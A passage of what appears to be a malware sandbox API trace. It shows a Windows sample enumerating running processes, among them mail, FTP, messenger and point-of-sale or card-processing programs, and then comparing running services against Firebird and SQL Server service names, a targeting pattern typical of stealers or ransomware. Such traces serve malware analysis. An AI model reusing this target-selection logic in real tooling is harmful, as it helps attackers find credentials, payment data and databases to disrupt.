Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0167.252] lstrlenW (lpString="operamail.exe") returned 13 [0167.252] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0167.253] lstrlenW (lpString="pidgin.exe") returned 10 [0167.253] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0167.253] lstrlenW (lpString="scriptftp.exe") returned 13 [0167.253] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0167.254] lstrlenW (lpString="skype.exe") returned 9 [0167.254] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0167.255] lstrlenW (lpString="smartftp.exe") returned 12 [0167.255] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0167.255] lstrlenW (lpString="thunderbird.exe") returned 15 [0167.255] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0167.256] lstrlenW (lpString="totalcmd.exe") returned 12 [0167.256] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0167.257] lstrlenW (lpString="trillian.exe") returned 12 [0167.257] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0167.257] lstrlenW (lpString="webdrive.exe") returned 12 [0167.257] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0167.258] lstrlenW (lpString="whatsapp.exe") returned 12 [0167.258] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0167.259] lstrlenW (lpString="winscp.exe") returned 10 [0167.259] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0167.259] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0167.259] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0167.260] lstrlenW (lpString="active-charge.exe") returned 17 [0167.260] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0167.260] lstrlenW (lpString="accupos.exe") returned 11 [0167.261] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0167.261] lstrlenW (lpString="afr38.exe") returned 9 [0167.261] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0167.262] lstrlenW (lpString="aldelo.exe") returned 10 [0167.262] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0167.262] lstrlenW (lpString="ccv_server.exe") returned 14 [0167.262] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0167.263] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0167.263] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0167.264] lstrlenW (lpString="creditservice.exe") returned 17 [0167.264] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0167.264] lstrlenW (lpString="edcsvr.exe") returned 10 [0167.264] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0167.265] lstrlenW (lpString="fpos.exe") returned 8 [0167.265] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0167.265] lstrlenW (lpString="isspos.exe") returned 10 [0167.265] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0167.266] lstrlenW (lpString="mxslipstream.exe") returned 16 [0167.266] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0167.266] lstrlenW (lpString="omnipos.exe") returned 11 [0167.267] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0167.267] lstrlenW (lpString="spcwin.exe") returned 10 [0167.267] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0167.268] lstrlenW (lpString="spgagentservice.exe") returned 19 [0167.268] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0167.268] lstrlenW (lpString="utg2.exe") returned 8 [0167.268] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="counsel-directed-receivers.exe")) returned 1 [0167.269] lstrlenW (lpString="counsel-directed-receivers.exe") returned 30 [0167.269] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0167.269] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0167.269] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.270] lstrlenW (lpString="svchost.exe") returned 11 [0167.270] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0167.270] lstrlenW (lpString="taskhostw.exe") returned 13 [0167.270] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0167.271] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0167.271] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11f0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0167.272] lstrlenW (lpString="conhost.exe") returned 11 [0167.272] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3dc, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0167.272] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0167.272] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x123c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0167.273] lstrlenW (lpString="conhost.exe") returned 11 [0167.273] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0167.273] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0167.273] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x13dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0167.274] lstrlenW (lpString="powershell.exe") returned 14 [0167.274] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0167.274] lstrlenW (lpString="conhost.exe") returned 11 [0167.274] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="TiWorker.exe")) returned 1 [0167.275] lstrlenW (lpString="TiWorker.exe") returned 12 [0167.275] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0167.275] lstrlenW (lpString="sppsvc.exe") returned 10 [0167.275] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0167.276] lstrlenW (lpString="powershell.exe") returned 14 [0167.276] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0167.276] lstrlenW (lpString="conhost.exe") returned 11 [0167.276] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0167.277] lstrlenW (lpString="taskhostw.exe") returned 13 [0167.277] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="NS2.exe")) returned 1 [0167.277] lstrlenW (lpString="NS2.exe") returned 7 [0167.277] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xe48, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0167.278] lstrlenW (lpString="conhost.exe") returned 11 [0167.278] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0167.278] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0167.278] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0167.279] lstrlenW (lpString="dllhost.exe") returned 11 [0167.279] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=24, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0167.279] lstrlenW (lpString="winhost.exe") returned 11 [0167.279] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xcd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0167.280] lstrlenW (lpString="cmd.exe") returned 7 [0167.280] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0167.280] lstrlenW (lpString="conhost.exe") returned 11 [0167.280] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0167.281] lstrlenW (lpString="mode.com") returned 8 [0167.281] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0167.281] CloseHandle (hObject=0x330) returned 1 [0167.281] Sleep (dwMilliseconds=0x1f4) [0167.795] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6eee00 [0167.795] EnumServicesStatusExW (in: hSCManager=0x6eee00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0167.796] GetLastError () returned 0xea [0167.796] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1e24) returned 0x37d19a0 [0167.796] EnumServicesStatusExW (in: hSCManager=0x6eee00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37d19a0, cbBufSize=0x1e24, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37d19a0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0167.797] CloseServiceHandle (hSCObject=0x6eee00) returned 1 [0177.219] lstrlenW (lpString="Appinfo") returned 7 [0177.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0177.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0177.219] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0177.219] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0177.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0177.219] lstrlenW (lpString="AppXSvc") returned 7 [0177.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0177.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0177.219] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0177.219] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0177.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0177.219] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0177.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0177.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0177.219] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0177.219] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0177.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0177.219] lstrlenW (lpString="Audiosrv") returned 8 [0177.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0177.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0177.219] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0177.219] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0177.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0177.219] lstrlenW (lpString="BFE") returned 3 [0177.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0177.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0177.220] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0177.220] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0177.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0177.220] lstrlenW (lpString="BITS") returned 4 [0177.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0177.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0177.220] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0177.220] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0177.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0177.220] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0177.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0177.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0177.220] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0177.220] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0177.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0177.220] lstrlenW (lpString="CDPSvc") returned 6 [0177.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0177.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0177.220] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0177.220] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0177.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0177.220] lstrlenW (lpString="ClipSVC") returned 7 [0177.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0177.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0177.220] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0177.220] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0177.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0177.220] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0177.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0177.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0177.220] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0177.220] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0177.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0177.220] lstrlenW (lpString="CryptSvc") returned 8 [0177.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0177.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0177.220] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0177.220] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0177.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0177.220] lstrlenW (lpString="DcomLaunch") returned 10 [0177.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0177.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0177.221] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0177.221] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0177.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0177.221] lstrlenW (lpString="Dhcp") returned 4 